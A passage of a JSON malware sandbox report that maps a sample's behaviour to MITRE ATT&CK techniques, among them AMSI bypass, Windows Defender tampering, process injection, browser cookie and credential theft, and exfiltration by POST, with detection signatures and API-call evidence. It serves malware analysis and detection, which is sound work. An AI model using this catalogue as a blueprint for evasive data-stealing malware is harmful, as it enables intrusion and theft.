module DLL"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Set/modify configurations using PowerShell"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Able to load content into memory (.NET)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Able to decode string content at runtime (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Dotnet file contains function to dynamically call methods at runtime"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Able to execute applications in hidden mode (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"suspicious","value":"Attempts to obtain browser cookies (file access)"},{"type":"suspicious","value":"Able to retrieve browser cookies using SQL"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Able to enumerate system processes using native API"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to retrieve security identifier (.NET)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve user privileges"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Contains ability to retrieve current user details (Dotnet)"},{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"},{"type":"informative","value":"Contains ability to decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"},{"type":"malicious","value":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Able to access crypto-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"$25","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"$26","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to execute applications in hidden mode (.NET)","description":"Observed Namespace \"System.Diagnostics.ProcessStartInfo\" and MemberReference \"set_CreateNoWindow\" in \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\"","origin":"Static Parser","mitre_attack_id":"T1564.003","relevance":7,"id":"static-161","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to load content into memory (.NET)","description":"$28","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00006372)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00006372)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00006372)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '1805357350913', 'hResInfo': '1805357352160'}\" (UID: 00000000-00006372)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1805357350913', 'hResInfo': '1805357352192'}\" (UID: 00000000-00006372)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1805357350913', 'hResInfo': '1805357352208'}\" (UID: 00000000-00006372)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1805357350913', 'hResInfo': '1805357352176'}\" (UID: 00000000-00006372)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to decompress content at runtime","description":"Observed function \"System.IO.Compression.GZipStream\" in \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\"","origin":"Static Parser","mitre_attack_id":"T1560.002","relevance":1,"id":"static-116","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.00972000.00000002.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp, 00000000-00006372.00000000.234681.A9072000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006372.00000000.234681.713EA000.00000002.mdmp, 00000000-00006372.00000000.234681.A9072000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"elWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP 